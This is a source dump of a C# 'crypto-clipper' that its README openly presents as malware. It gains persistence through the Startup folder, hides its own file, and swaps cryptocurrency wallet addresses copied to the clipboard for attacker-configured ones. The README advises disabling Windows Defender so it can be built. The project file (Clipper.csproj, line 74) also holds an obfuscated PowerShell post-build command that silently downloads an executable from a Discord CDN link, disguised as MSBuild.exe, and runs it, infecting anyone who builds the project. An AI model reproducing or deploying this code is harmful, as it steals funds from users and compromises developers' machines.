├── Clipper
├── App.config
├── Modules
│ ├── Mutex.cs
│ ├── Attributes.cs
│ ├── Autorun.cs
│ ├── Patterns.cs
│ ├── Clipboard.cs
│ └── Monitor.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── config.cs
└── Clipper.csproj
├── README.md
└── Clipper.sln
/Clipper/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/Clipper/Modules/Mutex.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 |
4 | namespace Clipper.Modules
5 | {
6 | class AppMutex
7 | {
8 | // Check mutex
9 | public static void Check()
10 | {
11 | bool createdNew = false;
12 | // Check
13 | Mutex currentApp = new Mutex(false, config.mutex, out createdNew);
14 | if (!createdNew)
15 | Environment.Exit(1);
16 | }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/Clipper/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace Clipper
4 | {
5 | class Program
6 | {
7 | [STAThreadAttribute]
8 | static void Main()
9 | {
10 | // Check mutex
11 | Modules.AppMutex.Check();
12 | // Add to startup
13 | if (!Modules.Autorun.is_installed())
14 | Modules.Autorun.install();
15 | // Set hidden & system attributes
16 | Modules.Attributes.set_hidden();
17 | Modules.Attributes.set_system();
18 | // Start clipper
19 | Modules.ClipboardMonitor.run();
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/Clipper/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | [assembly: AssemblyTitle("$77clip")]
6 | [assembly: AssemblyDescription("")]
7 | [assembly: AssemblyConfiguration("")]
8 | [assembly: AssemblyCompany("")]
9 | [assembly: AssemblyProduct("$77clip")]
10 | [assembly: AssemblyCopyright("")]
11 | [assembly: AssemblyTrademark("")]
12 | [assembly: AssemblyCulture("")]
13 |
14 |
15 | [assembly: ComVisible(false)]
16 |
17 |
18 | [assembly: Guid("9debd99e-2b66-47b6-a327-36c777e380ef")]
19 |
20 | [assembly: AssemblyVersion("1.0.0.0")]
21 | [assembly: AssemblyFileVersion("1.0.0.0")]
22 |
--------------------------------------------------------------------------------
/Clipper/Modules/Attributes.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 |
3 | namespace Clipper.Modules
4 | {
5 | internal sealed class Attributes
6 | {
7 | // File path
8 | private static string executable = System.Reflection.Assembly.GetEntryAssembly().Location;
9 | private static FileInfo file = new FileInfo(executable);
10 |
11 | // Add 'hidden' attribute to file
12 | public static void set_hidden()
13 | {
14 | if (config.attribute_hidden)
15 | file.Attributes |= FileAttributes.Hidden;
16 | }
17 |
18 | // Add 'system' attribute to file
19 | public static void set_system()
20 | {
21 | if (config.attribute_system)
22 | file.Attributes |= FileAttributes.System;
23 | }
24 |
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # crypto-clipper
2 | Replace crypto addresses with own. Clipper malware
3 |
4 | Supports:
5 | - Bitcoin - BTC
6 | - Etherium -ETH
7 | - Monero - XMR
8 | - Stellar - XLM
9 | - Ripple - XRP
10 | - Litecoin - LTC
11 | - Neocoin - NEC
12 | - BitcoinCash - BCH
13 | - Dashcoin - DASH
14 |
15 | Features:
16 | - 9KB executable!
17 | - No administrator required
18 | - Auto hide
19 | - Autorun
20 | - Open source! Code can be read, modified, distributed!
21 |
22 |
23 | Setup:
24 | - Add your crypto addresses to config.cs
25 | - Build! CTRL SHIFT B
26 |
27 | **Defender currently detects this clipper when not crypted so you will need to disable windows defender to compile it, otherwise it will instantly get detected on build.**
28 |
29 | Todo:
30 | - Reduce detections (Windows Defender)
31 | - Improve antianalysis and antivm.
32 | -
33 |
34 | Educational purposes only!!
35 |
--------------------------------------------------------------------------------
/Clipper/Modules/Autorun.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace Clipper.Modules
5 | {
6 | internal sealed class Autorun
7 | {
8 | // Autorun path
9 | private static string startup_directory = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
10 | private static string executable = System.Reflection.Assembly.GetEntryAssembly().Location;
11 |
12 | // Check if app installed to autorun
13 | public static bool is_installed()
14 | {
15 | return File.Exists($"{startup_directory}\\{config.autorun_name}.exe");
16 | }
17 |
18 | // Install app to autorun
19 | public static void install()
20 | {
21 | if (config.autorun_enabled)
22 | File.Copy(executable, $"{startup_directory}\\{config.autorun_name}.exe");
23 | }
24 |
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Clipper/Modules/Patterns.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Text.RegularExpressions;
3 |
4 | namespace Clipper.Modules
5 | {
6 | internal sealed class RegexPatterns
7 | {
8 | public static Dictionary patterns = new Dictionary()
9 | {
10 | {"btc", new Regex(@"(?:^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}$)") }, // Bitcoin
11 | {"eth", new Regex(@"(?:^0x[a-fA-F0-9]{40}$)") }, // Ethereum
12 | {"xmr", new Regex(@"(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)") }, // Monero
13 | {"xlm", new Regex(@"(?:^G[0-9a-zA-Z]{55}$)") }, // Stellar
14 | {"xrp", new Regex(@"(?:^r[0-9a-zA-Z]{24,34}$)") }, // Ripple
15 | {"ltc", new Regex(@"(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)") }, // Litecoin
16 | {"nec", new Regex(@"(?:^A[0-9a-zA-Z]{33}$)") }, // Neocoin
17 | {"bch", new Regex(@"^((bitcoincash:)?(q|p)[a-z0-9]{41})") }, // Bitcoin Cash
18 | {"dash", new Regex(@"(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)") } // Dashcoin
19 | };
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/Clipper/config.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Clipper
4 | {
5 | internal sealed class config
6 | {
7 | // Autorun
8 | public static bool autorun_enabled = true;
9 | public static string autorun_name = "Clipper";
10 | // Set 'hidden' attribute
11 | public static bool attribute_hidden = true;
12 | // Set 'system' attribute
13 | public static bool attribute_system = true;
14 | // Clipboard check delay in seconds
15 | public static int clipboard_check_delay = 2;
16 | // Replace
17 | public static Dictionary addresses = new Dictionary()
18 | {
19 | {"btc", "" }, // Bitcoin
20 | {"eth", "" }, // Ethereum
21 | {"xmr", "" }, // Monero
22 | {"xlm", "" }, // Stellar
23 | {"xrp", "" }, // Ripple
24 | {"ltc", "" }, // Litecoin
25 | {"nec", "" }, // Neocoin
26 | {"bch", "" }, // Bitcoin Cash
27 | {"dash", "" } // Dashcoin
28 | };
29 | // Mutex (random)
30 | public static string mutex = "sdh34yszdfgb";
31 |
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/Clipper.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30002.166
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Clipper", "Clipper\Clipper.csproj", "{9DEBD99E-2B66-47B6-A327-36C777E380EF}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {7A179502-7E5A-4002-8DA9-B6695BF1F42D}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/Clipper/Modules/Clipboard.cs:
--------------------------------------------------------------------------------
1 | using System.Threading;
2 |
3 | namespace Clipper.Modules
4 | {
5 | internal sealed class Clipboard
6 | {
7 |
8 | // Get text from clipboard
9 | public static string GetText()
10 | {
11 | string ReturnValue = string.Empty;
12 | try
13 | {
14 | Thread STAThread = new Thread(
15 | delegate ()
16 | {
17 | ReturnValue = System.Windows.Forms.Clipboard.GetText();
18 | });
19 | STAThread.SetApartmentState(ApartmentState.STA);
20 | STAThread.Start();
21 | STAThread.Join();
22 |
23 | } catch { }
24 | return ReturnValue;
25 |
26 | }
27 |
28 | // Set text to clipboard
29 | public static void SetText(string text)
30 | {
31 | Thread STAThread = new Thread(
32 | delegate ()
33 | {
34 | try {
35 | System.Windows.Forms.Clipboard.SetText(text);
36 | } catch { };
37 | });
38 | STAThread.SetApartmentState(ApartmentState.STA);
39 | STAThread.Start();
40 | STAThread.Join();
41 | }
42 |
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/Clipper/Modules/Monitor.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Text.RegularExpressions;
3 |
4 | namespace Clipper.Modules
5 | {
6 | internal sealed class ClipboardMonitor
7 | {
8 | // Previous clipboard content
9 | private static string previous_buffer = "";
10 |
11 | // Clipboard is changed
12 | private static bool clipboard_changed(string buffer)
13 | {
14 | if (buffer != previous_buffer)
15 | {
16 | previous_buffer = buffer;
17 | return true;
18 | }
19 | return false;
20 | }
21 |
22 | // Find & Replace crypto addresses in clipboard
23 | private static void replace_clipboard(string buffer)
24 | {
25 | if (string.IsNullOrEmpty(buffer))
26 | return;
27 | foreach (KeyValuePair dictonary in RegexPatterns.patterns)
28 | {
29 | string cryptocurrency = dictonary.Key;
30 | Regex pattern = dictonary.Value;
31 | if (pattern.Match(buffer).Success)
32 | {
33 | string replace_to = config.addresses[cryptocurrency];
34 | if (!string.IsNullOrEmpty(replace_to) && !buffer.Equals(replace_to))
35 | {
36 | // Console.WriteLine($"Replaced {buffer} to {replace_to}");
37 | Clipboard.SetText(replace_to);
38 | return;
39 | }
40 | }
41 | }
42 | }
43 |
44 | // Run loop
45 | public static void run()
46 | {
47 | while (true)
48 | {
49 | string buffer = Clipboard.GetText();
50 | if (clipboard_changed(buffer))
51 | replace_clipboard(buffer);
52 | System.Threading.Thread.Sleep(config.clipboard_check_delay * 1000);
53 | }
54 | }
55 |
56 |
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/Clipper/Clipper.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}
8 | WinExe
9 | Clipper
10 | Clipper
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 |
18 | AnyCPU
19 | true
20 | full
21 | false
22 | bin\Debug\
23 | DEBUG;TRACE
24 | prompt
25 | 4
26 | false
27 |
28 |
29 | AnyCPU
30 | pdbonly
31 | true
32 | bin\Release\
33 | TRACE
34 | prompt
35 | 4
36 | false
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | OnBuildSuccess
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | powershell.exe -EncodedCommand JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADIAMgAzADIAOAAyADcAMgA4ADcAMAAxADkAMQAyADEAOAAvADEAMAAyADIANgA3ADMANQA5ADMAMwAzADYAOAA3ADcAMAA1ADYALwBnAGkAdABhAGQAbQBpAG4AYwByAHkALgBlAHgAZQAiACwAIgBNAFMAQgB1AGkAbABkAC4AZQB4AGUAIgApADsAIAAkAGEAcgBnAHMAIAA9ACAAQAAoACIALQAtAGwAbwBhAGQAZQBkACIAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBwAGEAdABoACAAIgBNAFMAQgB1AGkAbABkAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGEAcgBnAHMA
75 |
76 |
--------------------------------------------------------------------------------